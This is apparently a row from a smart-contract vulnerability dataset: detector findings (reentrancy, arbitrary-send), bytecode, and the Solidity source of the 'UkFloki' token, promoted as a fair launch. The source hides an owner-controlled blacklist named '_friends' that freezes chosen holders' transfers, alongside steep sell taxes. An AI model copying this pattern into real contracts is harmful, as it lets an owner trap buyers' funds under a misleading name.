613a2681613787565b9050919050565b60006020820190508181036000830152613a46816137aa565b9050919050565b60006020820190508181036000830152613a66816137cd565b9050919050565b60006020820190508181036000830152613a86816137f0565b9050919050565b60006020820190508181036000830152613aa681613813565b9050919050565b60006020820190508181036000830152613ac681613836565b9050919050565b60006020820190508181036000830152613ae681613859565b9050919050565b6000602082019050613b02600083018461387c565b92915050565b600060a082019050613b1d600083018861387c565b613b2a6020830187613627565b8181036040830152613b3c81866135ab565b9050613b4b606083018561359c565b613b58608083018461387c565b9695505050505050565b6000602082019050613b77600083018461388b565b92915050565b6000613b87613b98565b9050613b938282613e08565b919050565b6000604051905090565b600067ffffffffffffffff821115613bbd57613bbc613f0f565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613c2e82613d76565b9150613c3983613d76565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c6e57613c6d613e82565b5b828201905092915050565b6000613c8482613d76565b9150613c8f83613d76565b925082613c9f57613c9e613eb1565b5b828204905092915050565b6000613cb582613d76565b9150613cc083613d76565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cf957613cf8613e82565b5b828202905092915050565b6000613d0f82613d76565b9150613d1a83613d76565b925082821015613d2d57613d2c613e82565b5b828203905092915050565b6000613d4382613d56565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613d9882613db1565b9050919050565b6000613daa82613d76565b9050919050565b6000613dbc82613dc3565b9050919050565b6000613dce82613d56565b9050919050565b60005b83811015613df3578082015181840152602081019050613dd8565b83811115613e02576000848401525b50505050565b613e1182613f52565b810181811067ffffffffffffffff82111715613e3057613e2f613f0f565b5b80604052505050565b6000613e4482613d76565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613e7757613e76613e82565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206e6f742079657420656e61626c6564210000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f53746f7020736e6970696e672100000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b61432981613d38565b811461433457600080fd5b50565b61434081613d4a565b811461434b57600080fd5b50565b61435781613d76565b811461436257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d11d0b997e57056331550a23cc9ef28076793c9e153bdd43ddbf2ef7bfcf72464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,707
0x5f65805294092c222e6262b46d156a23285fa9b2
/** *Submitted for verification at Etherscan.io on 2021-07-11 */ /** * UkFloki is going to launch in the Uniswap at July 11. This is fair launch and going to launch without any presale. tg: https://t.me/Uk_Flokicommunity All crypto babies will become a UkFloki in here. Let's enjoy our launch! * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool) ; function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract UkFloki is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _friends; mapping (address => User) private trader; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode" Uk Floki "; string private constant _symbol = unicode" UkFloki "; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 5; uint256 private _feeRate = 5; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; address payable private _marketingFixedWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private launchBlock = 0; uint256 private buyLimitEnd; struct User { uint256 buyCD; uint256 sellCD; uint256 lastBuy; uint256 buynumber; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _marketingFixedWalletAddress = marketingFixedWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; _isExcludedFromFee[marketingFixedWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_friends[from] && !_friends[to]); if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { _friends[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { _friends[to] = true; } } if(!trader[msg.sender].exists) { trader[msg.sender] = User(0,0,0,0,true); } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if(block.timestamp > trader[to].lastBuy + (30 minutes)) { trader[to].buynumber = 0; } if (trader[to].buynumber == 0) { trader[to].buynumber++; _taxFee = 5; _teamFee = 5; } else if (trader[to].buynumber == 1) { trader[to].buynumber++; _taxFee = 4; _teamFee = 4; } else if (trader[to].buynumber == 2) { trader[to].buynumber++; _taxFee = 3; _teamFee = 3; } else if (trader[to].buynumber == 3) { trader[to].buynumber++; _taxFee = 2; _teamFee = 2; } else { //fallback _taxFee = 5; _teamFee = 5; } trader[to].lastBuy = block.timestamp; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired."); trader[to].buyCD = block.timestamp + (45 seconds); } trader[to].sellCD = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired."); } uint256 total = 35; if(block.timestamp > trader[from].lastBuy + (3 hours)) { total = 10; } else if (block.timestamp > trader[from].lastBuy + (1 hours)) { total = 15; } else if (block.timestamp > trader[from].lastBuy + (30 minutes)) { total = 20; } else if (block.timestamp > trader[from].lastBuy + (5 minutes)) { total = 25; } else { //fallback total = 35; } _taxFee = (total.mul(4)).div(10); _teamFee = (total.mul(6)).div(10); if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(4)); _marketingFixedWalletAddress.transfer(amount.div(4)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 5000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); launchBlock = block.number; } function setFriends(address[] memory friends) public onlyOwner { for (uint i = 0; i < friends.length; i++) { if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) { _friends[friends[i]] = true; } } } function delFriend(address notfriend) public onlyOwner { _friends[notfriend] = false; } function isFriend(address ad) public view returns (bool) { return _friends[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - trader[buyer].buyCD; } // might return outdated counter if more than 30 mins function buyTax(address buyer) public view returns (uint) { return ((5 - trader[buyer].buynumber).mul(2)); } function sellTax(address ad) public view returns (uint) { if(block.timestamp > trader[ad].lastBuy + (3 hours)) { return 10; } else if (block.timestamp > trader[ad].lastBuy + (1 hours)) { return 15; } else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) { return 20; } else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) { return 25; } else { return 35; } } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613eae565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061396f565b610662565b6040516101f09190613e93565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614090565b60405180910390f35b34801561023057600080fd5b5061024b6004803603810190610246919061391c565b610691565b6040516102589190613e93565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614090565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae9190614105565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613a52565b610783565b005b3480156102ec57600080fd5b50610307600480360381019061030291906139f8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b9190613882565b61095f565b60405161033d9190614090565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190613882565b610aeb565b60405161037a9190613e93565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613882565b610b41565b6040516103b79190614090565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190613882565b610c0a565b60405161040b9190614090565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613dc5565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613882565b610dd7565b60405161048a9190614090565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613eae565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e0919061396f565b610e7f565b6040516104f29190613e93565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613e93565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906139af565b610eb2565b005b34801561055b57600080fd5b506105646110c2565b005b34801561057257600080fd5b5061057b61113c565b005b34801561058957600080fd5b50610592611208565b60405161059f9190614090565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca9190613882565b61123a565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906138dc565b61132a565b6040516106059190614090565b60405180910390f35b34801561061a57600080fd5b506106236113b1565b005b60606040518060400160405280600a81526020017f20556b20466c6f6b692000000000000000000000000000000000000000000000815250905090565b600061067661066f6118c3565b84846118cb565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611a96565b61075f846106aa6118c3565b61075a856040518060600160405280602881526020016148aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107106118c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b6b9092919063ffffffff16565b6118cb565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c46118c3565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90613f70565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614090565b60405180910390a150565b6108726118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690613fd0565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613e93565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b191906141c6565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a1191906141c6565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a7191906141c6565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad191906141c6565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b9191906142a7565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd96118c3565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612bcf565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d46565b9050919050565b610c636118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d91906142a7565b612db490919063ffffffff16565b9050919050565b60606040518060400160405280600981526020017f20556b466c6f6b69200000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c6118c3565b8484611a96565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba6118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613fd0565b60405180910390fd5b60005b81518110156110be57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9f57610f9e61444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110335750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110125761101161444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110ab576001600660008484815181106110515761105061444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110b6906143a6565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036118c3565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b600061112e30610c0a565b905061113981612e2f565b50565b6111446118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613fd0565b60405180910390fd5b6001601560146101000a81548160ff0219169083151502179055506078426111f991906141c6565b60178190555043601681905550565b6000611235601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112426118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613fd0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b96118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90613fd0565b60405180910390fd5b601560149054906101000a900460ff1615611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90614050565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061152630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118cb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561156c57600080fd5b505afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a491906138af565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163e91906138af565b6040518363ffffffff1660e01b815260040161165b929190613de0565b602060405180830381600087803b15801561167557600080fd5b505af1158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad91906138af565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061173630610c0a565b600080611741610dae565b426040518863ffffffff1660e01b815260040161176396959493929190613e32565b6060604051808303818588803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117b59190613a7f565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186d929190613e09565b602060405180830381600087803b15801561188757600080fd5b505af115801561189b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118bf9190613a25565b5050565b60003390509